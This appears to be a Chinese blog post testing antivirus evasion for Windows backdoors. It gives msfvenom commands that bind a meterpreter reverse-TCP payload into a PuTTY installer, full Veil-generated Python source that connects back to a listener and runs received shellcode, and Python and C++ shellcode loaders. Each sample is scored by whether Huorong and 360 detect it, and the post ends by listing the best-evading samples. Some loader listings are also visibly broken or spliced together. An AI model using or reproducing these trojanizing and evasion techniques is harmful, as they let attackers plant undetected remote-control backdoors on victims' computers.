0%

win下的免杀后门探究(一)

无意间翻到了收藏的几个免杀后门,正好做题也做的挺烦的,就想研究下win下的免杀后门,顺便学习下编写后门。
第一期主要是测试metasploit和veil生成的后门,最后还有两种自己觉得不错的免杀方法。

实验环境
监听机 : kali linux 64位

测试机 : win7 sp1 32位

测试模板 : putty

测试杀软 : 火绒安全 4.0.76.9

    360安全卫士 11.4.0.1002

在线测试网站 :www.virustotal.com

METASPLOIT

Msfvenom 的使用教程网上很多,就不赘述了,直接测试。

单编码捆绑

大小基本未变

1
msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows LHOST=10.10.10.128 LPORT=8888 -e x86/shikata_ga_nai -i 15 -b ‘\x00\’ -x PuTTY_0.67.0.0.exe -f exe > putty1.exe

msf生成裸奔的后门火绒直接静态查杀

在线测试结果

多编码捆绑

体积增加了一倍

1
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.10.10.128 LPORT=8888 -f raw | msfvenom -a x86 –platform windows -e x86/alpha_upper -i 10 -x PuTTY_0.67.0.0.exe -f exe >putty2.exe

不出意料,只是多一层编码的后门被静态查杀

在线测试结果

Upx加壳单一编码,同上

在线测试结果

Veil

Veil是一个集成了很多后门payload和shellcode的框架

https://www.veil-framework.com/

选两个几个payload测试

python/meterpreter/rev_tcp.py

生成的后门源码如下(混淆字符串是随机生成的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import struct, socket, binascii, ctypes as ODdQXRsZpFuy, random, time
wnfNxzRHaRi, dciEFhvjmUpn = None, None
def jWdQxnYMNszJGZ():
try:
global dciEFhvjmUpn
dciEFhvjmUpn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dciEFhvjmUpn.connect(('10.10.10.128', 8888))
oGDNdneg = struct.pack('<i', dciEFhvjmUpn.fileno())
l = struct.unpack('<i', dciEFhvjmUpn.recv(4))[0]
GodCKUpGvAGEFDT = b" "
while len(GodCKUpGvAGEFDT) < l: GodCKUpGvAGEFDT += dciEFhvjmUpn.recv(l)
dQKJaNnA = ODdQXRsZpFuy.create_string_buffer(GodCKUpGvAGEFDT, len(GodCKUpGvAGEFDT))
dQKJaNnA[0] = binascii.unhexlify('BF')
for i in range(4): dQKJaNnA[i+1] = oGDNdneg[i]
return dQKJaNnA
except: return None
def YJEktsMSQ(fSmVMXiDqiJebGM):
if fSmVMXiDqiJebGM != None:
uwylnjmT = bytearray(fSmVMXiDqiJebGM)
vIwgyrd

= ODdQXRsZpFuy.windll.kernel32.VirtualAlloc(ODdQXRsZpFuy.c_int(0),ODdQXRsZpFuy.c_int(len(uwylnjmT)),ODdQXRsZpFuy.c_int(0x3000),ODdQXRsZpFuy.c_int(0x40))
osdHJFrhWGya = (ODdQXRsZpFuy.c_char * len(uwylnjmT)).from_buffer(uwylnjmT)
ODdQXRsZpFuy.windll.kernel32.RtlMoveMemory(ODdQXRsZpFuy.c_int(vIwgyrd), osdHJFrhWGya, ODdQXRsZpFuy.c_int(len(uwylnjmT)))
ht = ODdQXRsZpFuy.windll.kernel32.CreateThread(ODdQXRsZpFuy.c_int(0),ODdQXRsZpFuy.c_int(0),ODdQXRsZpFuy.c_int(vIwgyrd),ODdQXRsZpFuy.c_int(0),ODdQXRsZpFuy.c_int(0),ODdQXRsZpFuy.pointer(ODdQXRsZpFuy.c_int(0)))
ODdQXRsZpFuy.windll.kernel32.WaitForSingleObject(ODdQXRsZpFuy.c_int(ht),ODdQXRsZpFuy.c_int(-1))
wnfNxzRHaRi = jWdQxnYMNszJGZ()
YJEktsMSQ(wnfNxzRHaRi)

火绒双免杀,360双免杀,其实挺出乎我意料的,毕竟从源码来看只是win32系统调用加上字符串混淆。

在线测试结果

c/meterpreter/rev_tcp

火绒双查杀,360双查杀

在线测试结果

Py加壳免杀(shellcode为msfvenom reverse_tcp payload 编码15次shikata_ga_nai)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from ctypes import *
import ctypes
buf=(“shellcode”);
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr:
raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
raise Exception("Failed to set protection on buffer")
return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
if 1:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

对火绒动静态皆免杀(360也是双免杀)

回连meterpreter

在线测试结果

C++加壳免杀(shellcode为msfvenom reverse_tcp payload 编码15次shikata_ga_nai)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#include "stdafx.h"
#include "Project1.h"

#define MAX_LOADSTRING 100

// 全局变量:
HINSTANCE hInst; // 当前实例
WCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本
WCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名

// 此代码模块中包含的函数的前向声明:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);

int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);

// TODO: 在此放置代码。

// 初始化全局字符串
LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadStringW(hInstance, IDC_PROJECT1, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);

// 执行应用程序初始化:
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}

HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_PROJECT1));

MSG msg;

// 主消息循环:
while (GetMessage(&msg, nullptr, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}

return (int) msg.wParam;
}


ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEXW wcex;

wcex.cbSize = sizeof(WNDCLASSEX);

wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_PROJECT1));
wcex.hCursor = LoadCursor(nullptr, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_PROJECT1);
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));

return RegisterClassExW(&wcex);
}
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // 将实例句柄存储在全局变量中

HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);

if (!hWnd)
{
return FALSE;
}

ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);

return TRUE;
}

//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_COMMAND:
{
int wmId = LOWORD(wParam);
// 分析菜单选择:
switch (wmId)
{
case IDM_ABOUT:
DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
break;
case IDM_EXIT:
DestroyWindow(hWnd);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
}
break;
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
// TODO: 在此处添加使用 hdc 的任何绘图代码...
EndPaint(hWnd, &ps);
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}

// “关于”框的消息处理程序。
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
switch (message)
{
case WM_INITDIALOG:
return (INT_PTR)TRUE;

case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
{
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return (INT_PTR)FALSE;
}
#include<stdio.h>

#include<windows.h>

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //去除窗口

//关键代码,之前的仅为vs窗口程序初始化
unsigned char shellcode[] =””;//msf生成的shellcode
void main()

{

LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(Memory, shellcode, sizeof(shellcode));

((void(*)())Memory)();

}

火绒双查杀(360双免杀)

在线测试结果

后门查杀技术在不断进步,测试结果仅能反映当下情况。

实验得到较好的免杀后门样本为上述的:

1.veil python/meterpreter/rev_tcp

2.Py加壳

3.C++加壳

杂谈:看了一眼网上测试结果,卡巴斯基查后门真的牛。很多后门360和火绒都没查出来,杀软关注系统进程还是要比普通进程多,这就造成了回连容易,提权难的情况发生(就算新出的cve,杀软肯定也会第一时间监测防护),但是在win下,一个普通权限的shell做的事就已经够多了,对普通人来说,如果杀软保护不了他们的电脑,还有什么能呢?